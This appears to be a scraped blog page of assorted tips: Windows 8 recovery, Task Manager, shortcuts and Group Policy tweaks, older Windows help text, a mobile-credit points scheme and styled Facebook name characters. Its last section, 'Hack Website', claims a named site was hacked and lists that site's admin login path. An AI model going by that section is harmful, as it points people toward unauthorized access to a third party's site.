Recovery options

Recovery options

Windows 8 has performed well for us, but if you find it won't boot at some point then you now have to press Shift+F8 during the launch process to access its recovery tools.

Access the Troubleshoot menu, then Advanced Options, and you'll be able to try the Automatic Repair tool, which may fix your problems. No luck? The same menu enables you to use the last System Restore point, tweak key Windows Startup settings, and even open a command prompt if you'd like to troubleshoot your system manually.

If that all seems like too much hassle then the Troubleshoot menu's option to 'Refresh your PC' may be preferable, because it essentially reinstalls Windows 8 but keeps your files, and will fix many issues.

But if it doesn't then there's always the more drastic 'Reset your PC' option, which removes all your files and installs a fresh new copy of Windows 8.

You don't have to access these features from the boot menu, of course. If Windows 8 starts but seems very unstable, then open the new Recovery applet in Control Panel for easy access to the Refresh, Reset and other disaster recovery features.

Read More

Performance problems

Performance problems

If your Windows 8 system seems sluggish, the revamped Task Manager may be able to offer some clues. Press Ctrl+Shift+Esc to take a look.

Click 'More Details'. The simplified Processes tab then reveals what's currently using your CPU time, RAM, hard drive and network bandwidth. (The more in-depth data available in previous Task Manager versions is now accessible via the Details tab.)

The Performance tab gives you a graphical view of resource use over the last few seconds, while the App History dialog looks back over days or more to reveal which app is the most resource-hungry.

And is your boot time slow? Click the new Startup tab to see programs your system is launching when Windows boots. The 'Startup impact' now shows how much of an effect each of these has on your boot time; if you spot high impact programs you're sure you don't need, then right-clicking them and selecting 'Disable' will ensure they're not loaded next time.

Powerful though all this is, if you can think of a reason to use the old Task Manager then it's still accessible. Hold down the Windows key, press R, type TaskMGR and press Enter to launch it. (Typing TM will launch the new version.)

Read More

VirtualBox error

VirtualBox error

The safest way to sample Windows 8 is to install it on a VirtualBox virtual machine. It's fairly easy to set up, there's no need to worry about partitioning or other issues, and if it doesn't work for whatever reason (which is possible, it's a beta after all) then you'll have lost nothing but a little time.

After completing your installation, though, you might find your virtual Windows 8 complaining that "Your PC needs to be repaired". But despite telling you to "Press Enter to try again", or "Press F8 for alternate boot options", neither option works.

Fortunately there's an easy answer. Close the Windows 8 window, select your virtual machine in VirtualBox, click Settings > System > Processor and check the 'Enable PAE/NX' box. Click OK, restart your virtual machine and this time it should launch properly.

Read More

Open new file types

Open new file types

If you find a file type that none of your applications can handle, then right-click on the file in Windows Explorer and choose Open With. You'll see a 'Look for an app in the Store' option, which enables Windows 8 to use an automated search tool to find and highlight an app for you.

You can also click 'More Options' to see currently installed programs and apps that may

Read More

Mount ISO files in Windows 8

Mount ISO files in Windows 8

Need to take a closer look at an ISO file? Right-click it in Explorer, click Mount and you can view it as a virtual drive, launch the files it contains, or add more if you like.

Read More

Advanced menu options

Advanced menu options

If you need to run the command prompt as an Administrator then your instant reaction will probably be to reach for the Start menu. Before becoming annoyed a microsecond later when you remember it's no longer there.

It's good to see that Microsoft has provided a simple alternative, then - just click the File menu in Explorer and click Open command prompt > Open command prompt as administrator.

And while you're there, make note of the other advanced new options also on that menu: you can open a new window in a new process, open Explorer, and even delete your Recent Places and Address Bar histories with a click.

Read More

Quick Access toolbar

Quick Access toolbar

Windows Explorer in Windows 8 features a Quick Access toolbar immediately above the menu, providing easy access to options such as 'New Folder', 'Minimise', 'Undo' and more.

This is customisable, too - click the arrow to the right of the default buttons, in the Explorer window caption bar, and choose whatever options you need. And you can include add any other ribbon option on the Quick Access Toolbar by right-clicking it and selecting Add to Quick Access Toolba

Read More

Sync and privacy

. Sync and privacy

One very useful Windows 8 feature is its ability to synchronise your settings with other PCs and devices. So if you've set up your new Windows Phone device with your contacts, email details and so on, then use the same Live account on Windows 8 and it'll import them for you: very convenient.

Of course that may not always be a good idea. If several people use a device then you may not want your website passwords to be synced, for instance. In which case you'll want to hold down the Windows key and press I, then click Change PC Settings > Sync Your Settings and disable anything you'd rather not share.

Read More

Simplify Search

Simplify Search

By default Windows 8 includes every bundled app in its Search results. If you'll never want to use some of these - the Store app, say - then select Win + I > Change PC Settings > > Search, choose which apps you don't want included, and your search list will be more manageable in future.

Read More

Hibernate or Sleep

Hibernate or Sleep

You won't necessarily see either Hibernate or Sleep in the Windows 8 shutdown dialogs, but if that's a problem then you may be able to restore them.

Launch the Control Panel Power Options applet (powercfg.cpl) and click 'Choose what the power buttons do' in the left-hand pane.

If you see a 'Change settings that are currently unavailable' link, then click it, and if Windows 8 detects that your PC supports Sleep and Hibernate options then they'll be displayed here. Check the boxes next to whatever you'd like to use, click Save Changes, and the new options should now appear in your shutdown dialogs.

Read More

Picture password

Picture password

Windows 8 enables you to create a picture password, where you choose an image, then draw on it in a combination of taps, lines and circles - only someone who can reproduce this pattern will be able to log on. Select Win + I > More PC Settings > Users > Create a Picture Password to give this a try.

Read More

Scheduled Maintenance

Scheduled Maintenance

Windows 8 can run common maintenance tasks - software updates, security scanning, system diagnostics and more at a scheduled convenient time, which is good.

Unfortunately it doesn't actually ask you what time is convenient, instead just setting it to 3am and allowing the system to wake your computer (if hardware and circumstances permit) to do its work. Which isn't so good.

To change this, launch Control Panel, click System and Security > Action Centre > Maintenance. You can now click 'Start maintenance' to launch any outstanding tasks right now, while selecting 'Change maintenance settings' enables you to choose a more convenient time, and optionally disable the feature's ability to wake up your computer if that's not required.

Read More

Start screen background

Start screen background

If you'd like to change your lock, user tile or start screen images then press Win + I, click 'Change PC settings' and choose the Personalize option. Browse the various tabs and you'll be able to choose alternative images or backgrounds in a click or two.

And in theory you'll also be able to define apps that will display their status on the lock screen, although the app must specifically support this before it'll be accessible from your Personalize settings.

Read More

Smart Searching

Smart Searching

When you're in the mood to track down new Windows 8 features relating to a particular topic, you might be tempted to start by manually browsing Control Panel for interesting applets - but there is a simpler way.

If you'd like to know what's new in the area of storage, say, just press Win+W to launch the Settings Search dialog, type "drive", and the system will return a host of related options. That is, not just those with "drive" in the name, but anything storage-related: BitLocker, Device Manager, backup tools, disk cleanup, and interesting new features such as Storage Spaces.

This Search feature isn't new, of course, but it's easy to forget how useful this can be, especially when you're trying to learn about a new operating system. So don't just carry out specific searches, use the Apps search to look for general keywords such as "privacy" or "performance", and you just might discover something new.

Read More

Virtual Machines

Virtual Machines

Install Windows 8 and you also get Microsoft's Hyper-V, enabling you to create and run virtual machines (as long as you're not running in a virtual machine already). Launch OptionalFeatures.exe (press Windows Key and R and type it in to run), check Hyper-V and click OK to enable the feature. Then switch back to the Start screen, scroll to the right, find and click on the Hyper-V Manager tile to begin exploring its capabilities.

Read More

Windows 8 File History

Windows 8 File History

Windows 8 includes an excellent File History feature, which can regularly and automatically back up your libraries, desktop, contacts and favourites to a second drive (even a USB flash drive - just connect it, and choose 'Configure this drive for backup using File History' from the menu).

To set this up, go to Control Panel > System and Security > File History. Click Exclude Folders to help define what you're saving, Advanced Settings to choose the backup frequency, Change Drive to choose the backup destination, and Turn On to enable the feature with your settings.

And once it's been running for a while, you can check on the history for any file in Explorer by selecting it, choosing the Home tab and clicking History.

Read More

SmartScreen

SmartScreen

Windows 8 now uses Internet Explorer's SmartScreen system-wide, checking downloaded files to ensure they're safe. In general this is a good thing, but if you have any problems then it can be tweaked.

Launch Control Panel, open the Action Centre applet, and click Change Windows SmartScreen Settings in the left-hand pane. Here you can keep the warning, but avoid the requirement for administrator approval, or turn SmartScreen off altogether. Make your choice and click OK to finish.

Read More

SmartScreen

SmartScreen

Windows 8 now uses Internet Explorer's SmartScreen system-wide, checking downloaded files to ensure they're safe. In general this is a good thing, but if you have any problems then it can be tweaked.

Launch Control Panel, open the Action Centre applet, and click Change Windows SmartScreen Settings in the left-hand pane. Here you can keep the warning, but avoid the requirement for administrator approval, or turn SmartScreen off altogether. Make your choice and click OK to finish.

Read More

Intelligent screengrabs

Intelligent screengrabs

If a Windows 8 application is showing something interesting and you'd like to record it for posterity, then hold down the Windows key, press PrtSc, and the image won't just go to the clipboard: it'll also be automatically saved to your My Pictures folder with the name Screenshot.png (and then Screenshot(1).png, Screenshot(2).png and so on).

You might hope that pressing Win+Alt+PrtSc would similarly save an image of the active window, but no, sadly not. Maybe next time.

Read More

Launch programs fast

Launch programs fast

If you're a fan of keyboard shortcuts and don't like the idea of scrolling through app tiles to find the program you need, don't worry, Windows 8 still supports a useful old shortcut. Which is perfect if, say, you're looking to be able to shut down your PC with a click.

Launch the desktop app, right-click an empty part of the desktop and click New > Shortcut.

Browse to the application you'd like to launch here. Of for the sake of this example, enter

shutdown.exe -s -t 00

to shut down your PC, or

shutdown.exe -h -t 00

to hibernate it, and click Next. Type a shortcut name - 'Hibernate', say - and click Finish.

Right-click the shortcut, select Pin to Start and it should appear on the far right of the Start screen - just drag the tile wherever you like

Read More

Windows key shortcuts

. Windows key shortcuts

Win : switch between the Start screen and the last-running Windows 8 app
Win + C : displays the Charms: the Settings, Devices, Share and Search options
Win + D : launches the desktop
Win + E : launches Explorer
Win + F : opens the File Search pane
Win + H : opens the Share pane
Win + I : opens Settings
Win + K : opens the Devices pane
Win + L : locks your PC
Win + M : minimises the current Explorer or Internet Explorer window (works in the full-screen IE, too)
Win + O : toggles device orientation lock on and off
Win + P : switch your display to a second display or projector
Win + Q : open the App Search pane
Win + R : opens the Run box
Win + U : open the Ease of Access Centre
Win + V : cycle through toasts (notifications)
Win + W : search your system settings (type POWER for links to all power-related options, say)
Win + X : displays a text menu of useful Windows tools and applets
Win + Z : displays the right-click context menu when in a full-screen app
Win + + : launch Magnifier and zoom in
Win + - : zoom out
Win + , : Aero peek at the desktop
Win + Enter : launch Narrator
Win + PgUp : move the current screen to the left-hand monitor
Win + PgDn : move the current screen to the right-hand monitor
Win + PrtSc : capture the current screen and save it to your Pictures folder
Win + Tab : switch between running apps

Read More

Replacing the Start menu

Replacing the Start menu

If Windows 8's search and navigation tools still leave you pining for the regular Start menu, installing ViStart will replace it with something very similar.

Download the program and install it, carefully; it's free, but the Setup program will install the trial of a commercial Registry cleaner unless you explicitly tell it otherwise.

But once that's out the way, your old Start button will return in its regular place, and clicking it (or pressing the Windows key) will bring back the usual Start menu complete with search box and all the usual menus.

The program has a few flaws - on launch it gave us an e-mail icon for Outlook Express, for instance - but otherwise works well.

There's also Start8 from Windows customisation veterans Stardock. It provides similar functionality to ViStart but with a more up-to-date look.

Read More

Log in automatically

Log in automatically

WARNING: Your account will lose admin privileges as a result of this step

Of course even if you remove the lock screen, you'll still be forced to manually log in every time your system starts. This can also be resolved at speed, though, using much the same technique as in previous versions of Windows.

Hold down the Windows key, press R, type 'netplwiz' and press Enter to launch the User Accounts dialog.

Clear the "Users must enter a user name and password to use this computer" box and click OK.

Enter the user name and password of the account that you'd like to be logged in automatically, click OK, restart your system and this time it should boot directly to the Start screen.

Read More

Install anything

Install anything

Most mobile platforms recommend you only install apps from approved sources to protect your security, and Windows 8 is the same: it'll only allow you to install trusted (that is, digitally signed) apps from the Windows store.

If this proves a problem, though, and you're willing to take the security risk (because this isn't something to try unless you're entirely sure it's safe), then the system can be configured to run trusted apps from any source.

Launch GPEdit.msc (see above for instructions on how to find it), browse to Computer Configuration > Administrative Templates > Windows Components > App Package Deployment, double-click 'Allow all trusted apps to install' and select Enabled > OK.

Read More

Disable the lock screen

Disable the lock screen

If you like your PC to boot just as fast as possible then the new Windows 8 lock screen may not appeal. Don't worry, though, if you'd like to ditch this then it only takes a moment.

Launch GPEdit.msc (the Local Group Policy Editor) and browse to Computer Configuration > Administrative Templates > Control Panel > Personalisation.

Double-click 'Do not display the lock screen', select Enabled and click OK.

Restart and the lock screen will have gone.

If you can't easily find GPEdit.msc by searching in the Start screen, search for 'mmc', and then press Enter. On the File menu, click 'Add/Remove Snap-in', then in the 'Add or Remove Snap-ins' dialog box, click 'Group Policy Object Editor', and then click 'Add'.

In the 'Select Group Policy Object' dialog box, click 'Browse'. Click 'This Computer' to edit the Local Group Policy object, or click 'Users' to edit Administrator, Non-Administrator, or per-user Local Group Policy objects, then click 'Finish'.

Read More

Administrative tools

Administrative tools

Experienced Windows users who spend much of their time in one advanced applet or another are often a little annoyed to see their favourite tools buried by Windows 8. Microsoft has paid at least some attention, though, and there is a way to bring some of them back.

Open the Charm bar by flicking your finger from the right-hand side of the screen and select 'Settings' then 'Tiles'. Change 'Show administrative tools' to 'Yes' and click back on an empty part of the Start screen. And it's as simple as that. Scroll to the right and you'll find a host of new tiles for various key applets - Performance Monitor, Event Viewer, Task Scheduler, Resource Monitor and more - ready to be accessed at a click

Read More

Apps and privacy

Apps and privacy

It is worth keeping in mind that by default Windows 8 apps can use your name, location and account picture. If you're not happy with that, it's easily changed. Press Win+I, click More PC Settings, select Privacy and click the relevant buttons to disable any details you'd rather not share.

Read More

Uninstall easily

Uninstall easily

If you want to hide an unused app for now, select 'Unpin from Start'. The tile will disappear, but if you change your mind then you can always add it again later. (Search for the app, right-click it, select 'Pin to Start'.)

Or, if you're sure you'll never want to use an app again, choose 'Uninstall' to remove it entirely.

Read More

Make a large app tile smaller

Make a large app tile smaller

You'll notice that some Windows 8 apps have small live tiles, while others have larger tiles that take up the space of two tiles. Right-clicking on a Windows 8 app's Start screen tile will display a few relevant options. If this is one of the larger tiles, choosing 'Smaller' will cut it down to half the size, freeing up some valuable Start screen real estate.

Read More

Run as Administrator

Run as Administrator

Some programs need you to run them with Administrator rights before they'll work properly. The old context menu isn't available for a pinned Start screen app, but right-click one, and if it's appropriate for this app then you'll see a Run As Administrator option.

Read More

Spell check

Spell check

Windows 8 apps all have spellcheck where relevant, which looks and works much as it does in Microsoft Office. Make a mistake and a wavy red line will appear below the offending word; tap or right-click this to see suggested alternative words, or add the word to your own dictionary if you prefer.

Read More

Run two apps side by side

Run two apps side by side

Windows 8 apps are what Microsoft calls "immersive" applications, which basically means they run full-screen - but there is a way to view two at once. Swipe from the left and the last app you were using will turn into a thumbnail; drop this and one app displays in a sidebar pane while your current app takes the rest of the screen. And you can then swap these by swiping again.

Read More

Mastering Internet Explorer in Windows 8

Mastering Internet Explorer in Windows 8

Click the Internet Explorer tile from the Start menu and you'll launch a full-screen version without toolbars, menus or sidebars, which like so much of Windows 8 may leave you initially feeling lost.

Right-click an empty part of the page or flick your finger down from the top of the screen, though, and you'll find options to create and switch between tabs, as well as a Refresh button, a 'Find' tool and the ability to pin an Internet shortcut to the Start page. Click the spanner icon and select 'View on the desktop' to open the full desktop version of Internet Explorer.

Read More

Closing an app

Closing an app

Windows 8 apps don't have close buttons, but this isn't the issue you might think. Apps are suspended when you switch to something else so they're only a very minimal drain on your system, and if you need the system resources then they'll automatically be shut down. (Their context will be saved, of course, so on relaunching they'll carry on where you left off.)

If you want to close down an app anyway, though, move the mouse cursor up to the top of the screen. When it turns from the regular mouse pointer to the icon of a hand, hold down the left mouse button and drag it down the screen. Your app should shrink to a thumbnail which you can drag off the screen to close it.

If that's too much hassle, then simply pressing Alt+F4 still works.

And when all else fails then press Ctrl+Shift+Esc to launch Task Manager, right-click something in the Apps list and select End Task. Beware, though, close something you shouldn't and it's easy to crash or lock up your PC.

Read More

What's running?

What's running?

If you launch a Windows 8 app, play with it for a while, then press the Windows key you'll switch back to the Start screen. Your app will remaining running, but as there's no taskbar then you might be wondering how you'd ever find that out.

You could just press Alt+Tab, which shows you what's running just as it always has.

Holding down the Windows key and pressing Tab displays a pane on the left-hand side of the screen with your running apps. (To see this with the mouse, move your cursor to the top left corner of the screen, wait until the thumbnail of one app appears, then drag down.)

And of course you can always press Ctrl+Shift+Esc to see all your running apps in the Task Manager, if you don't mind (or actually need) the extra technical detail.

Read More

App bar

App bar

Windows 8 apps aim to be simpler than old-style Windows applets, which means it's goodbye to menus, complex toolbars, and many interface standards. There will usually be a few options available on the App bar, though, so if you're unsure what to do then either right-click an empty part of the screen, press Windows+Z or flick your finger up from the bottom of the screen to take a closer look.

Read More

Shutting down

Shutting down

To shut Windows 8 down, just move the mouse cursor to the bottom right corner of the screen, click the Settings icon - or just hold down the Windows key and press I - and you'll see a power button. Click this and choose 'Shut Down' or 'Restart'.

Some of the tricks available in previous versions of Windows still apply. Press Ctrl+Alt+Del, for instance, click the power button in the bottom right-hand corner and you'll be presented with the same 'Shut Down' and 'Restart' options.

And if you're on the desktop, press Alt+F4 and you'll be able to choose 'Shut Down', 'Restart', 'Sign Out' or 'Switch User' options.

Read More

Easy access

Easy access

If there's an application you use all the time then you don't have to access it via the search system. Pin it to the Start screen and it'll be available at a click.

Start by typing part of the name of your application. To access Control Panel, for instance, type 'Control'. Right-click the 'Control Panel' tile on the Apps Search screen, and click 'Pin to Start'. If you're using a touchscreen, press and hold the icon, then flick down and select 'Pin to Start'.

Now press the Windows key, scroll to the right and you'll see the Control Panel tile at the far end. Drag and drop this over to the left somewhere if you'd like it more easily accessible, then click the tile to open the desktop along with the Control Panel window, and press the Windows key to return you to the Start screen when you're done.

Read More

Find your applications

Find your applications

The Win+X menu is useful, but no substitute for the old Start menu as it doesn't provide access to your applications. To find this, hold down the Windows key and press Q or either right-click an empty part of the Start screen or swipe your finger up from the bottom of the screen and select 'All Apps' to reveal a scrolling list of all your installed applications. Browse the various tiles to find what you need and click the relevant app to launch it.

Read More

Quick access menu

Quick access menu

Right-click in the bottom left corner (or hold down the Windows key and press X) for a text-based menu that provides easy access to lots of useful applets and features: Device Manager, Control Panel, Explorer, the Search dialog and more.

Read More

App groups

App groups

The Start screen apps are initially displayed in a fairly random order, but if you'd prefer a more organised life then it's easy to sort them into custom groups.

You might drag People, Mail, Messaging and Calendar over to the left-hand side, for instance, to form a separate 'People' group. Click the 'minus' icon in the bottom right corner of the screen to zoom out and you'll now find you can drag and drop the new group (or any of the others) around as a block.

Right-click within the block (while still zoomed out) and you'll also be able to give the group a name, which - if you go on to add another 20 or 30 apps to your Start screen - will make it much easier to find the tools you need.

Read More

Basic navigation

Basic navigationWindows 8 launches with its new interface, all colourful tiles and touch-friendly apps. And if you're using a tablet then it'll all be very straightforward: just swipe left or right to scroll the screen, and tap any tile of interest.

On a regular desktop, though, you might alternatively spin the mouse wheel to scroll backwards and forwards.

And you can also use the keyboard. Press the Home or End keys to jump from one end of your Start screen to the other, for instance, then use the cursor keys to select a particular tile, tapping Enter to select it. Press the Windows key to return to the Start screen; right-click (or swipe down on) apps you don't need and select Unpin to remove them; and drag and drop the other tiles around to organise them as you like

Read More

Organize your files into groups

Organize your files into groups

Windows offers a variety of options for organizing folders and files in the ways that work best for you.

Windows 7

The easiest and most effective way to organize your stuff in Windows 7 is to use file arrangements in your libraries.
You can arrange files in the Documents library by author, for example, or you can arrange the Music library by artist if you're looking for an album or song by a particular band.
To arrange a library

1. In the taskbar, click the Windows Explorer button .
2. In the navigation pane (the left pane), click a library (such as Music).
3. In the library pane (above the file list), click the Arrange by menu, and then choose a property. For example, in the Music library, you can choose Artist to quickly arrange your music collection by artist.
   
   The "Arrange by" menu
4. When you arrange your files, Windows doesn't just put your files in a different order. Instead, they are presented in a completely different way. The arrangements work differently depending on which one you choose. For example, arranging your pictures by month puts your pictures into stacks, like this:
   
   Files arranged in "stacks"
   Arranging by day puts them into groups, like this:
   
   Files arranged in "groups"
   There are four default libraries in Windows 7, each with its own specific arrangements. You can also create new libraries and choose which arrangements are available for them.
   For more information about libraries, see Working with libraries.

Windows Vista

Open a folder that contains several different subfolders and file types. Right-click any empty space on the window's contents pane, point to Group By, and then click your grouping choice.

Windows Vista Group by command.

Windows XP

Open a folder that contains several different subfolders and file types. Right-click any empty space on the window's contents pane, point to Arrange Icons By, and then click Show in Groups. To arrange the window's contents, right-click again in any empty space on the window's contents pane, point to Arrange Icons By, and click Name, Size, Type, or Modified (the choices may vary depending on the contents).

Windows XP Arrange icons by command.

Read More

Arrange windows on your desktop

Arrange windows on your desktop

In Windows, you can arrange windows side by side, which can be especially helpful when comparing two documents or when moving files from one place to another. Note: If you’re using a nonstandard setup (such as dual monitors), the tricks below may not work as expected.

Windows 7

1. Drag the title bar of a window to the left or right side of the screen until an outline of the expanded window appears.
2. Release the mouse to expand the window.
3. Repeat steps 1 and 2 with another window to arrange the windows side by side.

To return a window to its original size click the Maximize button in the window’s title bar and the window expands to full size.

The Maximize button

Learn more about managing multiple windows in Windows 7.
Tip: To snap an active window to the side of the desktop by using the keyboard, press Windows logo key +Left Arrow or Windows logo key +Right Arrow.

Viewing windows side by side in Windows

Windows Vista and Windows XP

In Windows Vista and Windows XP, it’s easy to display any two (or more) windows side by side on the desktop, all equally sized. Press and hold the Ctrl key and click two or more of the window buttons on the taskbar that you want to open. Release the Ctrl key, right-click, and then do one of the following:

• Windows Vista users, click Show Windows Side by Side.

Windows Vista, Show Windows Side by Side command.

Windows XP, Tile Vertically command.

Read More

Customize the Quick Launch Bar in Windows XP

Customize the Quick Launch Bar in Windows XP

In Windows XP, the customizable Quick Launch Bar also gives you convenient shortcuts to your favorite programs, folders, and files. The Quick Launch Bar remains accessible from most windows, so it’s a handy way to open the applications and files you use frequently.
If the Quick Launch Bar isn’t already visible to the right of the Start button , you’ll need to turn it on. To do that, right-click an open area of the taskbar. Hover your mouse pointer over Toolbars, then click Quick Launch. The Quick Launch Bar appears on your taskbar.

The Quick Launch Bar on the Windows XP taskbar

To add a program shortcut to the Quick Launch Bar, click the Start button, click All Programs, then click and drag the application you want to the Quick Launch Bar. Release the mouse button and the application’s icon appears in the Quick Launch Bar.
To add a folder or file shortcut to the Quick Launch Bar, open Windows Explorer, navigate to the folder, subfolder, or individual file you want, click and drag the folder or file you want to the Quick Launch Bar. Release the mouse button and the icon for the folder or file appears in the Quick Launch Bar.
To remove a shortcut from the Quick Launch Bar, right-click on the icon in the Quick Launch Bar of the application, folder, or file you want to remove and right-click it, click Delete, and then click Yes when asked if you’re sure you want to delete the shortcut. Note: Although the shortcut is removed from the Quick Launch Bar, the actual application, folder, or file has not been deleted from your computer.

Read More

Pin a program or items to the Windows 7 taskbar

Pin a program or items to the Windows 7 taskbar

You know what would make a great taskbar? One where you could pin your favorite applications or files so that you could open them quickly from any window at any time. Guess what? You can.
In Windows 7, you can also pin shortcuts for favorite or frequently used files, folders, and websites to the Jump Lists for each of those programs to the taskbar. Learn more about Jump Lists.
Pin a program to the taskbar
To pin a program shortcut to the taskbar, do one of the following:

• If the program is already running, right-click the program's button on the taskbar (or drag the button toward the desktop) to open the program’s Jump List, and then click Pin this program to taskbar.
• Or if the program isn't running, click Start, find the program’s icon, right-click the icon, and then click Pin to Taskbar.
• You can also pin a program by dragging the program's shortcut from the desktop or Start menu to the taskbar.

Pinning a program to the taskbar

Using Jump Lists in Windows 7

Jump Lists on the taskbar give you quick access to the things you use most often. You can drag a file, folder, or website icon or a shortcut from the Start menu or the desktop to the taskbar. This pins the item to the Jump List and also pins the associated program to the taskbar. If you drag the shortcut to the taskbar and the associated program isn't already pinned there, then that program is pinned to the taskbar and the item is pinned to the program’s Jump List.

Pinning an item to a Jump List on the taskbar

To view the Jump List for a program, right-click the program's button on the taskbar. To open an item from a Jump List, open the program's Jump List, and then click the item.

Read More

Customize the Navigation pane

Customize the Navigation pane

You can use the navigation pane (the left pane) to find files and folders and display links to frequently used folders and other items. You can also move or copy items to a destination in the navigation pane.
If you don't see the navigation pane on the left side of an open folder window, click Organize, point to Layout, and then click Navigation pane to display it.

To customize the navigation pane in Windows 7

1. In an open folder or library window, click Organize, and then click Folder and search options.
2. In the Folder Options dialog box, click the General tab, and then do one or both of the following:
   
   • To show all the folders on your computer in the navigation pane, including your personal folder, select the Show all folders check box, click Apply to see the change, and then click OK.
   • To automatically expand the navigation pane to the folder that's selected in the folder window, select the Automatically expand to current folder check box, and then click OK.

Customizing the navigation pane in Windows 7

More ways to customize your favorites in Windows 7

• To add a folder, a saved search, a library, or even a drive as a favorite, drag it to the Favorites section in the navigation pane. Note: You can’t add individual file to Favorites, but you can add them to any folder in Favorites.
• To change the order of favorites, drag a favorite to a new position in the list.
• To restore the default favorites in the navigation pane, right-click Favorites, and then click Restore Favorite Links.
• To view the folder where your favorites are stored, click Favorites in the navigation pane. Favorites are stored as shortcuts.
• To remove a favorite, right-click the favorite, and then click Remove. This removes the favorite from the navigation pane—it doesn't delete the files or folders that the shortcut points to.

The Favorites area of the navigation pane in Windows 7

Add folders and files in Windows Vista

In Windows Vista, you can add folders to Favorite Links in the navigation pane so that you can open them from any folder window at any time. To do this, first open the folder that contains the subfolder you want to add. Then simply drag its icon from the original folder to where you want it in the navigation pane. You can also click Folders at the bottom of the pane and drag a folder from the folder list up into the Favorite Links section of the pane. Note: You can’t add individual files to Favorite Links, but you can add them to any folder in Favorite Links.

Pictures folder in Windows

Read More

Don't just maximize your windows—go full screen

Don't just maximize your windows—go full screen

When you need a really big window for viewing photos and videos, don't just maximize it: go full screen! This tip works great for viewing photos and videos at maximum size in Windows Explorer or Windows Media Player, utilizing screen space usually occupied by the header at the top of the screen and the taskbar at the bottom. Here’s how:
Open any photo in Windows Explorer, or open a photo or video clip in Windows Media Player. Do one of the following:

• In Windows 7 and Windows XP, click the F11 key at the top of your keyboard.

The photo or video image enlarges to its maximum size and the title bar and taskbar are hidden.

Viewing a photo in Windows Explorer standard view

To undo full-screen mode and restore the window to its normal view, press the Esc (Escape) key at the top of your keyboard

Read More

Task Bar: No more system tray

Task Bar: No more system tray

Task Bar

No more system tray

You will find the setting under (open gpedit.msc)

User Configuration> Administrative Template> Start Menu & Taskbar

Double click on

Hide the Notification area

And choose enabled. When you logon next, you will see the system clock in the

tray, which you can also remove by right clicking on the taskbar, selecting

Properties and un-checking

show the clock

Or

Navigate to

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\E

xplorer

And to

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\

Explorer

Create a new

DWORD

value in both locations called

NoTrayItemsDisplay.

Set its

value to 1 to destroy the system tray.

Read More

How to get free easy load on your mobile

How to get free easy load on your mobile

How you can get easy load on your mobile now .



 To get free easyload on your mobile

Follow These Steps 

• First JOIN EMBEEPAY & allow the application on facebook.

• Now enter your phone number and get registered and you will get 50 points. 

• After that validate your account .You will get a code in 3-4 min ,enter it and get 50 more points.

• Now subscribe to their mailing and get 50 more points.

• You also get 20 points for sharing your info with Embeepay.
• Now total you got is 150 points very easily.

After that go to earn and do different surveys and offers and earn points.I will recomment to do those surveys which are free nad give low points like fb app etc . There are lot of offers you can do.Moreover suggest 5 friends and when they register you will get 100 points.
    And also there provide limited offers like rite now their offer is get 200 points on suggesting 5 friends but these friends must join under you .
    Through referred friends you also get some some bonus points.
    To redeem these points click on friends >> Invite >> Check Reward  and if you earned some points then their will be a button Claim Now . Click it and redeem points from your referred friends.



When you reached to 400 points ,go to redeem and you will get easy load of 400 Rs.

Advice

•     Join Embeepay and get all the free points which I mentioned above.

•     After recieving all the points,your points will become around 300 .

•     Now do simple short offers and you can easily redeem your first balance.

•     But after that its really tough to complete the offers and get another 400 points.

Well Gud luck guiys and when you get your first balance do share it with me .... :)

Read More

Facebook Profile Name With Different Styles

Facebook Profile Name With Different Styles

Facebook Profile Name With Different Styles

FB Profile name with style
IF YOU WANT TO WRITE ANY WORD JUST COPY FORM HERE AND PASTE.IT HAS DIFFERENT STYLE OF WRITING.
∙A – Λ Δ Д д ∂ α ą ส ๑ λ Ħ Əə ล

B – ฿ ß в Ъ ط ظ ℬ Ь

C – С ℂ ∁ © ₡ ¢ ℭ ς خ ζ

D – Ð ð の Δ ∂ ƌ Ƌ Ժ đ δ

E – ∑ Є ξ ﻉ ۼ є 乡 ℮ ℇ ℰ ε Ξ

F – ₣ Ŧ ア ƒ ﮫ ∫ ʄ Ք ℉ ℱ Ⅎ ∬

G – ら ؤ Ǥ ǥ و ℊ פ

H – Ж か ん ђ Н н ℋ ℍ ℏ ℎ ℌ ℍ ♓ ♄ Ћ

I – ｭ ٱ ¡ ι ỉ ۩ ﻨ ｪ ι ΐ أ

J – ڸ J ك ل ڷ ﻟ ⌡ ﺛ ℐ ℑ ﺯ ﺬ ﺫ ﻧ כֿ בֿ פֿ פֿ

K – Ҝ ҝ ✄ ₭ к

L – Ł ｭ ∟ ﺎ ℓ Ŀ ʆ ℒ l £

M – Ж ʍ ɱ Պ ਅ м ை ಌ

N – И и й ฑ ₪ ŋ η л א ท ห ℕ ಌ

O – Ѳ Ø ㋡ ۞ ♀ ♂ ٥ σ Φ Θ の ø ๑ ه ¤ Ө ө ۝ Ƣ ⃝ ⃠ ǿ Ѻ

P – ア Þ ρ م ƿ Ք ‽ ℗ ℘ ℙ ⍴ ㄕ 卩 卫 户

Q – Φ ♀ ٩ ƣ ʠ ℚ

R – Я я г カ л ® ʁ ℛ ℜ ℝ ℞ ℟ 几 ґ

S – ڪ ګ ک ﻜ ڲ ﻯ ﻛ Տ § ร ﯽ

T – Ґ т † ‡ ł Ŧ ア ŧ Շ Ⴈ 了 亇 十 ┼

U – μ ∪ リ び ن ڼ ֆ い ڸ

V – √ ۷ ง ℣

W – حق س ش ШЩ ฬ ฝ พ ฟ ₩ ﷲ ਘ ω

X – Ж א × ﭹ Ⴟ ✗ ✖ ㄨ ﬡ × χ

Y – ¥ ﻻ リ ﾘ Ⴘ 쏘 γ צ ų

Z – み 乡 ζ ʓ ʒ ʑ ℤ ℥ ㆚艺∙

Read More

How to find serial number of a laptop or computer

How to find serial number of a laptop or computer

How to find serial number of a laptop or computer

Sometimes, you need to see the serial number of your computer or laptop. You may need for multiple reasons like you called the technical support for a support related issue on your PC or if you are working on a office & your office IT admin is asking to check the serial number & get back to them etc.

Generally, you will pull out the CPU under the table then or you will go under the table & see CPU back side & see the number.

How to find serial number of a laptop or computer

But suddenly…

Oh my God, its an old computer & sticker behind CPU is not clearly readable.

Click on Start.
Type CMD & press enter.

Now, command prompt will be opened. Now, type following command and press enter:

wmic bios get serialnumber

It will display the serial number of your computer / laptop. Yeh..It’s so easy.

Read More

Hack Website

Hack Website

Get Website Free

www.quickwrench.com 

Hack website and Made admin of this site


ADMIN pAnEl 

www.quickwrench.com/Admin/adminlogin.asp

